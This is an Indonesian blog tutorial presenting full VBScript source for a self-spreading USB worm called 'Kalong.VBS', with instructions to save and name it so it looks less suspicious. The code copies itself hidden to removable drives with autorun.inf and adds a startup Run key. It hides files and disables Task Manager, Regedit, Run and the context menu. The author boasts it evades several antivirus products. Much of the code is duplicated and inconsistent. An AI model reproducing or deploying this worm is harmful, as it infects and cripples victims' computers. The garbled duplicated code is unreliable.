Iseng-iseng mencolok Flash Disc
saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa
VBS. Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin
karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak
beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya
dengan Notepad karena di Windows sudah ada compiler yang terintegrasi
dengannya, Windows Based Script Host.
Sesua janji saya, kita akan membuat
virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya
menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok
flash disc terinfeksi akan langsung menjadi korban tanpa menungu User
menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka
Notepad-nya. Copy kode berikut :
‘//–Awal dari kode, set agar ketika
terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next
on error resume next
‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
‘//–Set sebuah teks yang nantinya
akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘//–Copy diri untuk menjadi file
induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
‘//–Buat Infector jika ternyata
Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf yang teks-nya
tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘//–Manipulasi Registry–//
set kalong =
createobject(”WScript.Shell”)
‘//–Manip – Ubah Title Internet
Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “
‘//–Manip – Set agar file hidden
tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”
‘//–Manip – Hilangkan menu Find,
Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
‘//–Manip – Munculkan Pesan Setiap
Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”
‘//–Manip – Aktif setiap Windows
Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “
‘//–Manip – Ubah RegisteredOwner dan
Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”
‘//–Nah kalau kode dibawah ini saya
nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode
Save code di Notepad dengan cara
FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama
: k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha
agar tidak mencurigakan aja.
He..he…Virus Worm ini memang bukan
murni dari pemikiran saya sendiri karena meniru kode-nya virus Rangga-Zay. Tapi
yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan
AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu
membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa.
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